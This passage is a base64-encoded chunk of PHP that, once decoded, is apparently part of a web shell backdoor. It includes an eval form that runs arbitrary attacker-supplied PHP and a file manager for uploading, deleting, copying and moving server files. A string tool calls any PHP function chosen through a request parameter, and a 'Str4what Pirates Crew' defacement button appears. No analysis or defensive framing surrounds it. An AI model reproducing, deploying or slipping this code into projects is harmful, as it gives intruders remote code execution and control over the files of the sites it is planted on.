YWxjaGFycygkX1BPU1RbJ3AxJ10pOicnKS4nPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9RXZhbCBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiPic7DQogICAgZWNobyAnIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKEAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQgdXNpbmcgQUpBWDwvZm9ybT48cHJlIGlkPVBocE91dHB1dCBzdHlsZT0iJy4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT4nOw0KICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQogICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgIGV2YWwoJF9QT1NUWydwMSddKTsNCiAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsNCiAgICB9DQogICAgZWNobyAnPC9wcmU+PC9kaXY+JzsNCiAgICBwcmludEZvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25GaWxlc01hbigpIHsNCiAgICBwcmludEhlYWRlcigpOw0KICAgIGVjaG8gJzxoMT5GaWxlIG1hbmFnZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KICAgIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsNCiAgICAgICAgc3dpdGNoKCRfUE9TVFsncDEnXSkgew0KICAgICAgICAgICAgY2FzZSAndXBsb2FkRmlsZSc6DQogICAgICAgICAgICAgICAgaWYoIUBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZiddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmJ11bJ25hbWUnXSkpDQogICAgICAgICAgICAgICAgICAgIGVjaG8gIkNhbid0IHVwbG9hZCBmaWxlISI7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICBjYXNlICdta2Rpcic6DQogICAgICAgICAgICAgICAgaWYoIUBta2RpcigkX1BPU1RbJ3AyJ10pKQ0KICAgICAgICAgICAgICAgICAgICBlY2hvICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICBjYXNlICdkZWxldGUnOg0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCkgew0KICAgICAgICAgICAgICAgICAgICAkcGF0aCA9IChzdWJzdHIoJHBhdGgsLTEpPT0nLycpID8gJHBhdGg6JHBhdGguJy8nOw0KICAgICAgICAgICAgICAgICAgICAkZGggID0gb3BlbmRpcigkcGF0aCk7DQogICAgICAgICAgICAgICAgICAgIHdoaWxlICggKCRpdGVtID0gcmVhZGRpcigkZGgpICkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkaXRlbSA9ICRwYXRoLiRpdGVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXRlbSkgPT0gIi4iKSApDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7DQogICAgICAgICAgICAgICAgICAgICAgICAkdHlwZSA9IGZpbGV0eXBlKCRpdGVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdHlwZSA9PSAiZGlyIikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWxldGVEaXIoJGl0ZW0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGl0ZW0pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGNsb3NlZGlyKCRkaCk7DQogICAgICAgICAgICAgICAgICAgIHJtZGlyKCRwYXRoKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYoaXNfYXJyYXkoQCRfUE9TVFsnZiddKSkNCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ2YnXSBhcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGYgPSB1cmxkZWNvZGUoJGYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRmKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWxldGVEaXIoJGYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGYpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICBjYXNlICdwYXN0ZSc6DQogICAgICAgICAgICAgICAgaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnY29weScpIHsNCiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gY29weV9wYXN0ZSgkYywkcywkZCl7DQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGMuJHMpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2RpcigkZC4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBvcGVuZGlyKCRjLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZihpc19maWxlKCRjLiRzKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjb3B5KCRjLiRzLCAkZC4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikNCiAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcGFzdGUoJF9TRVNTSU9OWydjd2QnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ21vdmUnKSB7DQogICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIG1vdmVfcGFzdGUoJGMsJHMsJGQpew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRjLiRzKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJGQuJHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gb3BlbmRpcigkYy4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY29weSgkYy4kcywgJGQuJHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpDQogICAgICAgICAgICAgICAgICAgICAgICBAcmVuYW1lKCRfU0VTU0lPTlsnY3dkJ10uJGYsICRHTE9CQUxTWydjd2QnXS4kZik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHVuc2V0KCRfU0VTU0lPTlsnZiddKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGRlZmF1bHQ6DQogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkgJiYgKCgkX1BPU1RbJ3AxJ10gPT0gJ2NvcHknKXx8KCRfUE9TVFsncDEnXSA9PSAnbW92ZScpKSApIHsNCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydhY3QnXSA9IEAkX1BPU1RbJ3AxJ107DQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOw0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRrID0+ICRmKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ11bJGtdID0gdXJsZGVjb2RlKCRmKTsNCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydjd2QnXSA9IEAkX1BPU1RbJ2MnXTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAnPHNjcmlwdD5kb2N1bWVudC5tZi5wMS52YWx1ZT0iIjtkb2N1bWVudC5tZi5wMi52YWx1ZT0iIjs8L3NjcmlwdD4nOw0KICAgIH0NCiAgICAkZGlyQ29udGVudCA9IEBzY2FuZGlyKGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pOw0KICAgIGlmKCRkaXJDb250ZW50ID09PSBmYWxzZSkgeyAgICBlY2hvICdDYW5cJ3Qgb3BlbiB0aGlzIGZvbGRlciEnOyByZXR1cm47ICAgIH0NCiAgICBnbG9iYWwgJHNvcnQ7DQogICAgJHNvcnQgPSBhcnJheSgnbmFtZScsIDEpOw0KICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQogICAgICAgIGlmKHByZWdfbWF0Y2goJyFzXyhbQS16XSspXyhcZHsxfSkhJywgJF9QT1NUWydwMSddLCAkbWF0Y2gpKQ0KICAgICAgICAgICAgJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTsNCiAgICB9DQogICAgZWNobyAnPHNjcmlwdD4NCiAgICAgICAgZnVuY3Rpb24gc2EoKSB7DQogICAgICAgICAgICBmb3IoaT0wO2k8ZG9jdW1lbnQuZmlsZXMuZWxlbWVudHMubGVuZ3RoO2krKykNCiAgICAgICAgICAgIGlmKGRvY3VtZW50LmZpbGVzLmVsZW1lbnRzW2ldLnR5cGUgPT0gXCdjaGVja2JveFwnKQ0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmZpbGVzLmVsZW1lbnRzW2ldLmNoZWNrZWQgPSBkb2N1bWVudC5maWxlcy5lbGVtZW50c1swXS5jaGVja2VkOw0KICAgICAgICB9DQogICAgICAgIDwvc2NyaXB0Pg0KICAgICAgICA8dGFibGUgd2lkdGg9XCcxMDAlXCcgY2xhc3M9XCdtYWluXCcgY2VsbHNwYWNpbmc9XCcwXCcgY2VsbHBhZGRpbmc9XCcyXCc+DQogICAgICAgIDxmb3JtIG5hbWU9ZmlsZXMgbWV0aG9kPXBvc3Q+JzsNCiAgICBlY2hvICI8dHI+PHRoIHdpZHRoPScxM3B4Jz48aW5wdXQgdHlwZT1jaGVja2JveCBvbmNsaWNrPSdzYSgpJyBjbGFzcz1jaGtieD48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19uYW1lXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19tb2RpZnlfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5Nb2RpZnk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19wZXJtc18iLigkc29ydFsxXT8wOjEpLiJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsNCiAgICAkZGlycyA9ICRmaWxlcyA9ICRsaW5rcyA9IGFycmF5KCk7DQogICAgJG4gPSBjb3VudCgkZGlyQ29udGVudCk7DQogICAgZm9yKCRpPTA7JGk8JG47JGkrKykgew0KICAgICAgICAkb3cgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pKTsNCiAgICAgICAgJGdyID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSk7DQogICAgICAgICR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLA0KICAgICAgICAgICAgICAgICAgICAgJ3BhdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0sDQogICAgICAgICAgICAgICAgICAgICAnbW9kaWZ5JyA9PiBAZGF0ZSgnWS1tLWQgSDppOnMnLEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkpLA0KICAgICAgICAgICAgICAgICAgICAgJ3Blcm1zJyA9PiB2aWV3UGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSwNCiAgICAgICAgICAgICAgICAgICAgICdzaXplJyA9PiBAZmlsZXNpemUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksDQogICAgICAgICAgICAgICAgICAgICAnb3duZXInID0+ICRvd1snbmFtZSddPyRvd1snbmFtZSddOkBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwNCiAgICAgICAgICAgICAgICAgICAgICdncm91cCcgPT4gJGdyWyduYW1lJ10/JGdyWyduYW1lJ106QGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pDQogICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgIGlmKEBpc19maWxlKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKQ0KICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2ZpbGUnKSk7DQogICAgICAgIGVsc2VpZihAaXNfbGluaygkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSkNCiAgICAgICAgICAgICRsaW5rc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdsaW5rJykpOw0KICAgICAgICBlbHNlaWYoQGlzX2RpcigkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSYmICgkZGlyQ29udGVudFskaV0gIT0gIi4iKSkNCiAgICAgICAgICAgICRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2RpcicpKTsNCiAgICB9DQogICAgJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0Ow0KICAgIGZ1bmN0aW9uIGNtcCgkYSwgJGIpIHsNCiAgICAgICAgaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpDQogICAgICAgICAgICByZXR1cm4gc3RyY21wKCRhWyRHTE9CQUxTWydzb3J0J11bMF1dLCAkYlskR0xPQkFMU1snc29ydCddWzBdXSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7DQogICAgICAgIGVsc2UNCiAgICAgICAgICAgIHJldHVybiAoKCRhWydzaXplJ10gPCAkYlsnc2l6ZSddKSA/IC0xIDogMSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7DQogICAgfQ0KICAgIHVzb3J0KCRmaWxlcywgImNtcCIpOw0KICAgIHVzb3J0KCRkaXJzLCAiY21wIik7DQogICAgdXNvcnQoJGxpbmtzLCAiY21wIik7DQogICAgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRsaW5rcywgJGZpbGVzKTsNCiAgICAkbCA9IDA7DQogICAgZm9yZWFjaCgkZmlsZXMgYXMgJGYpIHsNCiAgICAgICAgZWNobyAnPHRyJy4oJGw/JyBjbGFzcz1sMSc6JycpLic+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9ImZbXSIgdmFsdWU9IicudXJsZW5jb2RlKCRmWyduYW1lJ10pLiciIGNsYXNzPWNoa2J4PjwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3ZpZXdcJykiPicuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKTonZyhcJ0ZpbGVzTWFuXCcsXCcnLiRmWydwYXRoJ10uJ1wnKTsiPjxiPlsgJy5odG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pLicgXTwvYj4nKS4nPC9hPjwvdGQ+PHRkPicuKCgkZlsndHlwZSddPT0nZmlsZScpP3ZpZXdTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3RkPjx0ZD4nLiRmWydtb2RpZnknXS4nPC90ZD48dGQ+Jy4kZlsnb3duZXInXS4nLycuJGZbJ2dyb3VwJ10uJzwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsXCdjaG1vZFwnKSI+Jy4kZlsncGVybXMnXQ0KICAgICAgICAgICAgLic8L3RkPjx0ZD48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwncmVuYW1lXCcpIj5SPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndG91Y2hcJykiPlQ8L2E+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/JyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZWRpdFwnKSI+RTwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPic6JycpLic8L3RkPjwvdHI+JzsNCiAgICAgICAgJGwgPSAkbD8wOjE7DQogICAgfQ0KICAgIGVjaG8gJzx0cj48dGQgY29sc3Bhbj01Pg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9XCdGaWxlc01hblwnPg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+DQogICAgPHNlbGVjdCBuYW1lPVwncDFcJz48b3B0aW9uIHZhbHVlPVwnY29weVwnPkNvcHk8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwnbW92ZVwnPk1vdmU8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwnZGVsZXRlXCc+RGVsZXRlPC9vcHRpb24+JzsNCiAgICBpZighZW1wdHkoJF9TRVNTSU9OWydhY3QnXSkmJkBjb3VudCgkX1NFU1NJT05bJ2YnXSkpe2VjaG8gJzxvcHRpb24gdmFsdWU9XCdwYXN0ZVwnPlBhc3RlPC9vcHRpb24+JzsgfQ0KICAgIGVjaG8gJzwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSI+PiI+PC90ZD48dGQgY29sc3Bhbj0iMiIgYWxpZ249InJpZ2h0IiB3aWR0aD0iMSI+PGlucHV0IG5hbWU9ImRlZiIgdmFsdWU9IlN0cjR3aGF0IFBpcmF0ZXMgQ3JldyEhISIgZGlzYWJsZWQ9ImRpc2FibGVkIi8+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkFkZCBEZWZhY2UgSGVyZSIgZGlzYWJsZWQ9ImRpc2FibGVkIj48L3RkPjwvdHI+DQogICAgPC9mb3JtPjwvdGFibGU+PC9kaXY+JzsNCiAgICBwcmludEZvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25TdHJpbmdUb29scygpIHsNCiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYmluJykpIHtmdW5jdGlvbiBoZXgyYmluKCRwKSB7cmV0dXJuIGRlY2JpbihoZXhkZWMoJHApKTt9fQ0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJhc2NpaScpKSB7ZnVuY3Rpb24gaGV4MmFzY2lpKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJMZW4oJHApOyRpKz0yKXskci49Y2hyKGhleGRlYygkcFskaV0uJHBbJGkrMV0pKTt9cmV0dXJuICRyO319DQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnYXNjaWkyaGV4JykpIHtmdW5jdGlvbiBhc2NpaTJoZXgoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49IGRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319DQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZnVsbF91cmxlbmNvZGUnKSkge2Z1bmN0aW9uIGZ1bGxfdXJsZW5jb2RlKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSAnJScuZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0NCiAgICANCiAgICBpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsNCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOw0KICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJF9QT1NUWydwMSddKSkNCiAgICAgICAgICAgIGVjaG8gJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSk7DQogICAgICAgICR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOw0KICAgICAgICBlY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOw0KICAgICAgICBleGl0Ow0KICAgIH0NCiAgICBwcmludEhlYWRlcigpOw0KICAgIGVjaG8gJzxoMT5TdHJpbmcgY29udmVyc2lvbnM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KICAgICRzdHJpbmdUb29scyA9IGFycmF5KA0KICAgICAgICAnQmFzZTY0IGVuY29kZScgPT4gJ2Jhc2U2NF9lbmNvZGUnLA0KICAgICAgICAnQmFzZTY0IGRlY29kZScgPT4gJ2Jhc2U2NF9kZWNvZGUnLA0KICAgICAgICAnVXJsIGVuY29kZScgPT4gJ3VybGVuY29kZScsDQogICAgICAgICdVcmwgZGVjb2RlJyA9PiAndXJsZGVjb2RlJywNCiAgICAgICAgJ0Z1bGwgdXJsZW5jb2RlJyA9PiAnZnVsbF91cmxlbmNvZGUnLA0KICAgICAgICAnbWQ1IGhhc2gnID0+ICdtZDUnLA0KICAgICAgICAnc2hhMSBoYXNoJyA9PiAnc2hhMScsDQogICAgICAgICdjcnlwdCcgPT4gJ2NyeXB0JywNCiAgICAgICAgJ0NSQzMyJyA9PiAnY3JjMzInLA0KICAgICAgICAnQVNDSUkgdG8gSEVYJyA9PiAnYXNjaWkyaGV4JywNCiAgICAgICAgJ0hFWCB0byBBU0NJSScgPT4gJ2hleDJhc2NpaScsDQogICAgICAgICdIRVggdG8gREVDJyA9PiAnaGV4ZGVjJywNCiAgICAgICAgJ0hFWCB0byBCSU4nID0+ICdoZXgyYmluJywNCiAgICAgICAgJ0RFQyB0byBIRVgnID0+ICdkZWNoZXgnLA0KICAgICAgICAnREVDIHRvIEJJTicgPT4gJ2RlY2JpbicsDQogICAgICAgICdCSU4gdG8gSEVYJyA9PiAnYmluMmhleCcsDQogICAgICAgICdCSU4gdG8gREVDJyA9PiAnYmluZGVjJywgICAgICAgIA0KICAgICAgICAnU3RyaW5nIHRvIGxvd2VyIGNhc2UnID0+ICdzdHJ0b2xvd2VyJywNCiAgICAgICAgJ1N0cmluZyB0byB1cHBlciBjYXNlJyA9PiAnc3RydG91cHBlcicsDQogICAgICAgICdIdG1sc3BlY2lhbGNoYXJzJyA9PiAnaHRtbHNwZWNpYWxjaGFycycsDQogICAgICAgICdTdHJpbmcgbGVuZ3RoJyA9PiAnc3RybGVuJywNCiAgICApOw0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpDQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gZmFsc2U7DQogICAgZWNobyAiPGZvcm0gbmFtZT0ndG9vbHNGb3JtJyBvblN1Ym1pdD0naWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Jz48c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPiI7DQogICAgZm9yZWFjaCgkc3RyaW5nVG9vbHMgYXMgJGsgPT4gJHYpDQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIic+Ii4kay4iPC9vcHRpb24+IjsNCiAgICAgICAgZWNobyAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICIuKCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuIj4gc2VuZCB1c2luZyBBSkFYPGJyPjx0ZXh0YXJlYSBuYW1lPSdpbnB1dCcgc3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz1iaWdhcmVhPiIuaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydwMiddKS4iPC90ZXh0YXJlYT48L2Zvcm0+PHByZSBjbGFzcz0nbWwxJyBzdHlsZT0nIi4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLiJtYXJnaW4tdG9wOjVweCcgaWQ9J3N0ck91dHB1dCc+IjsNCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgew0KICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJF9QT1NUWydwMSddKSkNCiAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pKTsNCiAgICB9DQogICAgZWNobyI8L3ByZT48L2Rpdj4iOw0KICAgIHByaW50Rm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkZpbGVzVG9vbHMoKSB7DQogICAgaWYoIGlzc2V0KCRfUE9TVFsncDEnXSkgKQ0KICAgICAgICAkX1BPU1RbJ3AxJ10gPSB1cmxkZWNvZGUoJF9QT1NUWydwMSddKTsNCiAgICBpZihAJF9QT1NUWydwMiddPT0nZ